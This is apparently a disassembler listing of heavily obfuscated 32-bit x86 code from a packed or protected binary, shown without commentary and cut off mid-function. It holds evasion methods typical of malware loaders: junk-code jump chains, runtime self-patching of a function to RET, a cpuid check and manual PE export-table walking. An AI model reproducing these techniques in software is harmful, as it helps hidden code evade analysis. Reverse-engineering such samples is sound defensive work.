; [00000001 BYTES: COLLAPSED FUNCTION nullsub_145. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_428F82: ; CODE XREF: sub_422EB0+8EE7j
jmp loc_4292A0
; END OF FUNCTION CHUNK FOR sub_422EB0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42ABB1
loc_428F87: ; CODE XREF: sub_42ABB1+10j
jmp loc_4282F7
; END OF FUNCTION CHUNK FOR sub_42ABB1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429CAE
loc_428F8C: ; CODE XREF: sub_429CAE:loc_421C20j
call sub_429964
loc_428F91: ; CODE XREF: sub_422973:loc_4217A2j
push offset loc_422A47
jmp loc_4222C3
; END OF FUNCTION CHUNK FOR sub_429CAE
; ---------------------------------------------------------------------------
xor ecx, 7EE0E83Eh
jle loc_428D04
jmp sub_42966A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_210. PRESS KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_125. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421558
loc_428FAE: ; CODE XREF: sub_421558+1Bj
jmp loc_429792
; END OF FUNCTION CHUNK FOR sub_421558
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421402
loc_428FB3: ; CODE XREF: sub_421402+15CAj
adc esi, 5E749BCFh
sub esi, 0A7D8ED23h
jmp loc_4284D1
; END OF FUNCTION CHUNK FOR sub_421402
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42764C
loc_428FC4: ; CODE XREF: sub_42764C:loc_42A1B5j
pop ecx
mov [ebp-20h], eax
; END OF FUNCTION CHUNK FOR sub_42764C
; START OF FUNCTION CHUNK FOR sub_426626
loc_428FC8: ; CODE XREF: sub_426626:loc_42474Ej
; sub_421D33+307Cj ...
jo loc_42BC6F
test byte ptr [ebp-8], 40h
jz loc_4288E4
push ebp
mov eax, [ebp-20h]
jmp loc_428443
; END OF FUNCTION CHUNK FOR sub_426626
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_84. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422790
loc_428FE2: ; CODE XREF: sub_422790+9149j
jmp loc_42864B
; END OF FUNCTION CHUNK FOR sub_422790
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AE5A
loc_428FE7: ; CODE XREF: sub_42AE5A+83Aj
jmp loc_422347
; END OF FUNCTION CHUNK FOR sub_42AE5A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429862
loc_428FEC: ; CODE XREF: sub_429862+9j
jmp loc_42834A
; END OF FUNCTION CHUNK FOR sub_429862
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4281A5
loc_428FF1: ; CODE XREF: sub_4281A5-9F2j
jmp loc_429339
; END OF FUNCTION CHUNK FOR sub_4281A5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42430C
loc_428FF6: ; CODE XREF: sub_42430C-DA4j
jmp loc_42977A
; END OF FUNCTION CHUNK FOR sub_42430C
; =============== S U B R O U T I N E =======================================
sub_428FFB proc near ; DATA XREF: _94j21ax3:0042BA66o
; FUNCTION CHUNK AT 00422138 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042693D SIZE 00000005 BYTES
xor dword ptr [esp+0], 49FF4951h
push 0
loc_429004: ; CODE XREF: _94j21ax3:00429069j
push 5DAD82D4h
adc eax, esi
jmp loc_42693D
sub_428FFB endp ; sp-analysis failed
; ---------------------------------------------------------------------------
cmp ebx, ecx
jmp loc_424FD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4221B8
loc_429017: ; CODE XREF: sub_4221B8:loc_429356j
jnz loc_427307
loc_42901D: ; CODE XREF: sub_42315D+8C73j
jmp loc_42416F
; END OF FUNCTION CHUNK FOR sub_4221B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_429022: ; CODE XREF: sub_42284F+7E9Bj
jmp loc_4274EC
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
push edi
or ebx, edx
rol eax, 9
jmp loc_427307
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_429032: ; CODE XREF: sub_423324-1C15j
mov [ebp-4], eax
call sub_429974
mov ds:dword_423454, eax
xor eax, eax
push esi
push 76CBA123h
pop esi
jmp loc_429F28
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
cmp eax, ecx
jmp loc_422E2F
; =============== S U B R O U T I N E =======================================
sub_429054 proc near ; CODE XREF: _94j21ax3:0042A051j
; sub_427CB6:loc_42B1E2p
mov [esp+0], ebx
pop ebx
xor edx, edx
call sub_428AE1
sub_429054 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_422538
loc_42905F: ; CODE XREF: sub_422538+Dj
; sub_427004+Aj
mov eax, ds:dword_4256CC
jmp loc_424E8E
; END OF FUNCTION CHUNK FOR sub_422538
; ---------------------------------------------------------------------------
jo loc_429004
jge loc_426906
jmp sub_421C65
; ---------------------------------------------------------------------------
loc_42907A: ; DATA XREF: sub_423B04+9o
xor eax, eax
mov [ebp-0Ch], eax
cmp dword ptr [ebp-4], 0
call sub_42A8CD
; START OF FUNCTION CHUNK FOR sub_423324
loc_429088: ; CODE XREF: sub_423324+8FF1j
jmp loc_426D3D
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
add esi, 0CE7E6AE3h
jmp loc_42B560
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429629
loc_429098: ; CODE XREF: sub_429629:loc_42963Bj
cmp byte ptr [ebp-5], 0
jnz loc_424949
jmp loc_428562
; END OF FUNCTION CHUNK FOR sub_429629
; ---------------------------------------------------------------------------
sub eax, 6EA7969Eh
jmp sub_422B4F
; =============== S U B R O U T I N E =======================================
sub_4290B2 proc near ; CODE XREF: sub_422C48+2DD3p
; FUNCTION CHUNK AT 0042310A SIZE 0000000A BYTES
xchg ecx, [esp+0]
mov ecx, [esp+0]
mov esp, ebp
pop ebp
jmp loc_42310A
sub_4290B2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4290C0 proc near ; CODE XREF: sub_426716:loc_42AAFEp
; _94j21ax3:0042ADF3j
arg_0 = dword ptr 4
mov [esp+0], edx
pop edx
mov eax, [ebp-4]
mov ecx, offset loc_4265B3
xchg ecx, [esp-4+arg_0]
retn
sub_4290C0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4254AE
loc_4290D0: ; CODE XREF: sub_4254AE+Cj
jmp loc_426401
; END OF FUNCTION CHUNK FOR sub_4254AE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42484C
loc_4290D5: ; CODE XREF: sub_42484C+3621j
push offset sub_4298A8
jmp loc_42A6FE
; END OF FUNCTION CHUNK FOR sub_42484C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4214E6
loc_4290DF: ; CODE XREF: sub_4214E6+1479j
jnz loc_42B272
jmp loc_4233F1
; END OF FUNCTION CHUNK FOR sub_4214E6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425539
loc_4290EA: ; CODE XREF: sub_425539:loc_42135Dj
mov ebp, esp
add esp, 0FFFFFFF4h
mov [ebp-4], eax
mov eax, [ebp-4]
jmp loc_42378F
; END OF FUNCTION CHUNK FOR sub_425539
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423FCD
loc_4290FA: ; CODE XREF: sub_423FCD:loc_42B064j
or esi, 0AD3B83A9h
shl edx, 8
jmp loc_426A49
; END OF FUNCTION CHUNK FOR sub_423FCD
; ---------------------------------------------------------------------------
locret_429108: ; CODE XREF: _94j21ax3:00427321j
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427668
loc_429109: ; CODE XREF: sub_427668+Cj
jmp loc_42A8AF
; END OF FUNCTION CHUNK FOR sub_427668
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42169F
loc_42910E: ; CODE XREF: sub_42169F+4DFFj
jmp loc_42B647
; END OF FUNCTION CHUNK FOR sub_42169F
; ---------------------------------------------------------------------------
loc_429113: ; CODE XREF: _94j21ax3:004229E5j
jmp loc_425908
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4216D0
loc_429118: ; CODE XREF: sub_4216D0+9j
jmp loc_42C51A
; END OF FUNCTION CHUNK FOR sub_4216D0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AC2D
loc_42911D: ; CODE XREF: sub_42AC2D-71A6j
; sub_42134B:loc_429BF1j
push 0
push 0
push 10h
mov eax, [ebp-8]
; END OF FUNCTION CHUNK FOR sub_42AC2D
; START OF FUNCTION CHUNK FOR sub_421330
loc_429126: ; CODE XREF: sub_421330:loc_4269B1j
push eax
jmp loc_4227F0
; END OF FUNCTION CHUNK FOR sub_421330
; ---------------------------------------------------------------------------
loc_42912C: ; CODE XREF: _94j21ax3:0042AC98j
popf
xchg ecx, [edi]
; START OF FUNCTION CHUNK FOR sub_42169F
loc_42912F: ; CODE XREF: sub_42169F:loc_42AC87j
add esi, 3EF2592Eh
xchg esi, [esp-0Ch+arg_8]
loc_429138: ; CODE XREF: sub_4214E6+9D9Fj
jmp sub_425A09
; END OF FUNCTION CHUNK FOR sub_42169F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A7A6
loc_42913D: ; CODE XREF: sub_42A7A6+4j
inc ds:dword_42343C
lea eax, nullsub_4
mov byte ptr [eax], 0C3h
call nullsub_9
push ecx
push 0E51E1EB6h
pop ecx
add ecx, 2691740Eh
jmp loc_42843E
; END OF FUNCTION CHUNK FOR sub_42A7A6
; =============== S U B R O U T I N E =======================================
sub_429163 proc near ; CODE XREF: _94j21ax3:00423F4Ep
; _94j21ax3:0042B336j
xchg ecx, [esp+0]
pop ecx
jmp loc_4280CD
sub_429163 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
jmp loc_423AB6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A0CC
loc_429171: ; CODE XREF: sub_42A0CC:loc_4298E4j
call sub_422764
loc_429176: ; CODE XREF: sub_4251F2+Cj
jmp loc_426D93
; END OF FUNCTION CHUNK FOR sub_42A0CC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428AE1
loc_42917B: ; CODE XREF: sub_428AE1:loc_428C2Cj
xor edi, 0A2E63FD0h
test edi, 100h
jmp loc_42341C
; END OF FUNCTION CHUNK FOR sub_428AE1
; ---------------------------------------------------------------------------
loc_42918C: ; CODE XREF: _94j21ax3:004283B5j
add ebx, 0E01E918Ah
xchg ebx, [esp]
jmp sub_42C057
; ---------------------------------------------------------------------------
push offset sub_422CA6
jmp loc_42531F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_4291A4: ; CODE XREF: sub_42284F+F2Dj
jz loc_42A566
jmp loc_4219A0
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421ABD
loc_4291AF: ; CODE XREF: sub_421ABD:loc_42A703j
mov ecx, ebp
pop ebp
push offset sub_42A061
jmp loc_42B8B7
; END OF FUNCTION CHUNK FOR sub_421ABD
; =============== S U B R O U T I N E =======================================
sub_4291BC proc near ; CODE XREF: sub_422F0A+Ap
; _94j21ax3:00427900j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00421B62 SIZE 00000014 BYTES
mov [esp+0], esi
pop esi
add eax, [esp+0]
adc edx, [esp+arg_0]
add esp, 8
jmp loc_421B62
sub_4291BC endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423FCD
loc_4291CF: ; CODE XREF: sub_423FCD+7114j
jz loc_427AC3
or esi, ebx
jmp loc_42BB6B
; END OF FUNCTION CHUNK FOR sub_423FCD
; ---------------------------------------------------------------------------
loc_4291DC: ; CODE XREF: _94j21ax3:loc_428B29j
jnz loc_42528E
loc_4291E2: ; CODE XREF: _94j21ax3:0042A678j
jmp loc_423047
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AE5A
loc_4291E7: ; CODE XREF: sub_42AE5A-8801j
jmp loc_421C93
; END OF FUNCTION CHUNK FOR sub_42AE5A
; ---------------------------------------------------------------------------
mov esi, ecx
popf
jmp loc_425284
; ---------------------------------------------------------------------------
locret_4291F4: ; CODE XREF: _94j21ax3:00429FD0j
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422392
loc_4291F5: ; CODE XREF: sub_422392-11A3j
jmp loc_423398
; END OF FUNCTION CHUNK FOR sub_422392
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421F28
loc_4291FA: ; CODE XREF: sub_421F28:loc_427921j
xor ecx, ecx
xor edx, edx
cpuid
call sub_42A430
loc_429205: ; CODE XREF: sub_427C35-2D86j
jmp loc_42B1A8
; END OF FUNCTION CHUNK FOR sub_421F28
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_42920A: ; CODE XREF: sub_4294B3:loc_429378j
jnz loc_4299AB
jmp loc_422A86
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42265F
loc_429215: ; CODE XREF: sub_42265F:loc_42317Fj
push eax
call sub_423F43
retn
; END OF FUNCTION CHUNK FOR sub_42265F
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42921C proc near ; CODE XREF: sub_421CAA+56A6p
push ebp
mov ebp, esp
jmp sub_421480
sub_42921C endp
; ---------------------------------------------------------------------------
loc_429224: ; CODE XREF: _94j21ax3:004274D6j
adc ebx, 3E9DF270h
; =============== S U B R O U T I N E =======================================
sub_42922A proc near ; CODE XREF: sub_423F55+B4Ep
; FUNCTION CHUNK AT 004257EE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428730 SIZE 0000000F BYTES
mov [esp+0], edx
pop edx
add eax, ebp
add eax, 5DFEEE65h
jmp loc_428730
sub_42922A endp ; sp-analysis failed
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_139. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_42923C: ; CODE XREF: _94j21ax3:0042458Fj
mov [eax], edi
test eax, edi
jmp loc_4259D5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4248E7
loc_429245: ; CODE XREF: sub_4248E7:loc_421FFDj
xor edi, 0D462F6AEh
push edi
jmp loc_42B781
; END OF FUNCTION CHUNK FOR sub_4248E7
; =============== S U B R O U T I N E =======================================
sub_429251 proc near ; CODE XREF: _94j21ax3:00423500p
; _94j21ax3:00425497j
xchg eax, [esp+0]
pop eax
sub_429251 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_422C48
loc_429255: ; CODE XREF: sub_422C48:loc_428AC7j
xchg edx, [esp+4+var_4]
retn
; END OF FUNCTION CHUNK FOR sub_422C48
; =============== S U B R O U T I N E =======================================
sub_429259 proc near ; DATA XREF: _94j21ax3:loc_4234FBo
; FUNCTION CHUNK AT 004231B2 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00426A2F SIZE 00000005 BYTES
sub edx, 638301D7h
jmp loc_426A2F
sub_429259 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424627
loc_429264: ; CODE XREF: sub_424627+5CCCj
pop eax
pop ebp
jmp loc_426485
; ---------------------------------------------------------------------------
loc_42926B: ; CODE XREF: sub_424627+67A4j
or ecx, edx
sbb ebx, edx
adc ecx, 21AB3A65h
xchg edi, [esp+0]
mov edx, edi
pop edi
jmp loc_4217CD
; END OF FUNCTION CHUNK FOR sub_424627
; =============== S U B R O U T I N E =======================================
sub_429280 proc near ; CODE XREF: sub_4215F9+Ep
; FUNCTION CHUNK AT 00429B5A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042AA31 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042BB58 SIZE 00000013 BYTES
mov [esp+0], ecx
push ebx
push eax
push edx
js loc_42BB58
or ebx, edx
sbb eax, 1ACC46B8h
jmp loc_422FD7
sub_429280 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
cmp edx, edi
jmp loc_42274A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_4292A0: ; CODE XREF: sub_422EB0:loc_428F82j
add eax, [esp+4+var_4]
adc edx, [esp+4]
add esp, 8
movzx eax, word ptr [eax]
shl eax, 2
mov edx, [ebp-14h]
jmp loc_421BA3
; END OF FUNCTION CHUNK FOR sub_422EB0
; ---------------------------------------------------------------------------
shr esi, 1Ch
jmp sub_42169F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42134B
loc_4292C0: ; CODE XREF: sub_42134B+6D40j
push 0F1B52064h
sbb esi, 63E90C0Bh
jmp loc_42AD19
; END OF FUNCTION CHUNK FOR sub_42134B
; ---------------------------------------------------------------------------
xchg ebx, ebp
jmp sub_424BAA
; =============== S U B R O U T I N E =======================================
sub_4292D7 proc near ; CODE XREF: _94j21ax3:00425595j
; sub_4272E9:loc_42A4C6p
xchg eax, [esp+0]
pop eax
call sub_42AC17
retn
sub_4292D7 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4272E9
loc_4292E1: ; CODE XREF: sub_4272E9-19C6j
call nullsub_4
loc_4292E6: ; CODE XREF: _94j21ax3:0042A330j
jo loc_42976D
call sub_42C057
test al, al
jmp loc_42969F
; END OF FUNCTION CHUNK FOR sub_4272E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_4292F8: ; CODE XREF: sub_422EB0+724Fj
jz loc_428555
jmp loc_42AE17
; END OF FUNCTION CHUNK FOR sub_422EB0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4259BF
loc_429303: ; CODE XREF: sub_4259BF:loc_428C18j
call sub_424B76
loc_429308: ; CODE XREF: sub_4226AE+88C0j
jmp loc_425943
; END OF FUNCTION CHUNK FOR sub_4259BF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429CAE
loc_42930D: ; CODE XREF: sub_429CAE+Cj
jmp loc_422678
; END OF FUNCTION CHUNK FOR sub_429CAE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_429312: ; CODE XREF: sub_422EB0+1F6Dj
adc ebp, 46CB6968h
shl eax, 6
and ecx, esi
and ebx, edx
jmp loc_421E79
; END OF FUNCTION CHUNK FOR sub_422EB0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422CA6
loc_429324: ; CODE XREF: sub_422CA6+2D2Aj
cdq
jns loc_428E64
jmp loc_42AD44
; END OF FUNCTION CHUNK FOR sub_422CA6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42678A
loc_429330: ; CODE XREF: sub_42678A-2E8Fj
jz loc_42933E
mov ebx, [ebx+ecx]
; END OF FUNCTION CHUNK FOR sub_42678A
; START OF FUNCTION CHUNK FOR sub_4281A5
loc_429339: ; CODE XREF: sub_4281A5:loc_428FF1j
call sub_423B78
loc_42933E: ; CODE XREF: sub_42678A:loc_4238E4j
; sub_42678A+Aj ...
jz loc_42257A
mov ecx, [ebx+3Ch]
mov ecx, [ebx+ecx+78h]
or ecx, ecx
jmp loc_428B87
; END OF FUNCTION CHUNK FOR sub_4281A5
; =============== S U B R O U T I N E =======================================
sub_429352 proc near ; CODE XREF: _94j21ax3:0042B258p
mov [esp+0], eax
retn
sub_429352 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4221B8
loc_429356: ; CODE XREF: sub_4221B8+9797j
jmp loc_429017
; END OF FUNCTION CHUNK FOR sub_4221B8
; ---------------------------------------------------------------------------
loc_42935B: ; CODE XREF: _94j21ax3:00428A3Aj
jmp loc_428588
; ---------------------------------------------------------------------------
loc_429360: ; CODE XREF: _94j21ax3:00427585j
jmp loc_42496F
; ---------------------------------------------------------------------------
loc_429365: ; CODE XREF: _94j21ax3:0042747Fj
jmp loc_42C36D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422AD5
loc_42936A: ; CODE XREF: sub_422AD5+39F8j
jmp nullsub_210
; END OF FUNCTION CHUNK FOR sub_422AD5
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42936F proc near ; CODE XREF: sub_42B9E8-91B9p
push ebp
mov ebp, esp
call sub_42AB30
locret_429377: ; CODE XREF: sub_423B04:loc_428113j
retn
sub_42936F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_429378: ; CODE XREF: sub_4294B3+2302j
jmp loc_42920A
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C057
loc_42937D: ; CODE XREF: sub_42C057-AE4Cj
jmp nullsub_130
; END OF FUNCTION CHUNK FOR sub_42C057
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429382 proc near ; CODE XREF: sub_42BAC2+1p
; FUNCTION CHUNK AT 00423D9D SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00424742 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A5CD SIZE 00000024 BYTES
push ebp
mov ebp, esp
push ecx
mov esp, ebp
pop ebp
mov eax, ds:dword_42C4B8
jmp loc_424742
sub_429382 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_429394: ; CODE XREF: _94j21ax3:loc_42A558j
push ecx
push 0C15CA2D2h
pop ecx
xor ecx, 0F490FAAEh
push offset loc_4216BC
jmp loc_42392F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BF31
loc_4293AB: ; CODE XREF: sub_42BF31:loc_42BF11j
pop ebx
sub ebx, ds:4000FBh
add ebx, 0A2F3E0FBh
xchg ebx, [esp+0]
jmp sub_4239A5
; END OF FUNCTION CHUNK FOR sub_42BF31
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_62. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_4293C1: ; CODE XREF: sub_423324+868Cj
jns loc_428DB6
ror ebx, 0Dh
adc eax, 0B03313D2h
loc_4293D0: ; CODE XREF: sub_423324:loc_42B9A8j
xor eax, 0DAFD8DC0h
jmp loc_42BAA2
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
loc_4293DB: ; CODE XREF: _94j21ax3:0042B7CDj
call sub_421C65
; START OF FUNCTION CHUNK FOR sub_42A0CC
loc_4293E0: ; CODE XREF: sub_42A0CC+2517j
jmp loc_42775F
; END OF FUNCTION CHUNK FOR sub_42A0CC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421402
loc_4293E5: ; CODE XREF: sub_421402:loc_42885Dj
jl loc_42A8FD
; END OF FUNCTION CHUNK FOR sub_421402
; START OF FUNCTION CHUNK FOR sub_426BA2
loc_4293EB: ; CODE XREF: sub_426BA2+6j
jmp nullsub_68
; END OF FUNCTION CHUNK FOR sub_426BA2
; ---------------------------------------------------------------------------
jg locret_421C6A
jmp loc_42A8F9
; ---------------------------------------------------------------------------
loc_4293FB: ; CODE XREF: _94j21ax3:0042BE2Dj
and edx, 0FD894C47h
add edx, 0F6845D3Ah
call sub_4239A5
call sub_42574E
push 0EC0207D6h
pop edx
or edx, 0C884FDEDh
jmp loc_422F24
; ---------------------------------------------------------------------------
add ecx, edx
jmp loc_428692
; ---------------------------------------------------------------------------
loc_429429: ; DATA XREF: sub_42A5B9+Ao
jnz loc_428AFE
inc dword ptr [ebp-20h]
mov eax, [ebp-1Ch]
mov eax, ds:dword_425BD4[eax*4]
jmp loc_4273E1
; ---------------------------------------------------------------------------
loc_429441: ; CODE XREF: _94j21ax3:0042C137j
xor edi, 75CE4EEh
; =============== S U B R O U T I N E =======================================
sub_429447 proc near ; CODE XREF: sub_424EE4+57BAp
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 004224DA SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00424293 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004274B6 SIZE 00000004 BYTES
mov [esp-4+arg_0], edi
pop edi
not ebx
mov ebx, edx
sbb edx, 11D8576h
call sub_429A13
loc_42945A: ; CODE XREF: sub_42AFFE+Cj
jmp loc_4224DA
sub_429447 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B9CF
loc_42945F: ; CODE XREF: sub_42B9CF+5B6j
jl loc_4272E1
not edx
loc_429467: ; CODE XREF: sub_42B9CF:loc_42A0DFj
call nullsub_146
retn
; END OF FUNCTION CHUNK FOR sub_42B9CF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_146. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A7A6
loc_42946E: ; CODE XREF: sub_42A7A6+1Fj
jmp loc_42A6AD
; END OF FUNCTION CHUNK FOR sub_42A7A6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_429473: ; CODE XREF: sub_42284F+7CC7j
jmp loc_426485
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AE5A
loc_429478: ; CODE XREF: sub_42AE5A-5AE7j
jmp loc_426968
; END OF FUNCTION CHUNK FOR sub_42AE5A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B9CF
loc_42947D: ; CODE XREF: sub_42B9CF-9AF0j
jmp loc_42B7D2
; ---------------------------------------------------------------------------
loc_429482: ; CODE XREF: sub_42B9CF+2j
call sub_426B3C
loc_429487: ; CODE XREF: _94j21ax3:loc_42A8C7j
jmp loc_42B2A9
; END OF FUNCTION CHUNK FOR sub_42B9CF
; ---------------------------------------------------------------------------
or ebx, ebp
jmp sub_427AEB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42169F
loc_429493: ; CODE XREF: sub_42169F+75A5j
push 0F2BE87FEh
pop edx
or edx, 788A3468h
loc_42949F: ; CODE XREF: sub_42C5E8:loc_42C08Dj
xor edx, 0A24A245h
add edx, 0FA86B2Fh
xchg edx, [esp-10h+arg_C]
jmp nullsub_69
; END OF FUNCTION CHUNK FOR sub_42169F
; =============== S U B R O U T I N E =======================================
sub_4294B3 proc near ; CODE XREF: sub_421F28:loc_421100p
; _94j21ax3:0042A897j
var_C = dword ptr -0Ch
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 004218BE SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004218DE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00421FC4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00422133 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042214D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00422517 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00422823 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00422A86 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00422BB4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042302D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042388D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004238AC SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00423941 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 00423B2B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004241B1 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00424263 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00424382 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00424433 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00424A18 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00424E69 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424F8E SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00425077 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042529E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00425429 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004256AC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004256C4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042583C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042682A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004268DC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00426D06 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426DC0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042750E SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042790B SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0042847A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042850E SIZE 0000000E BYTES
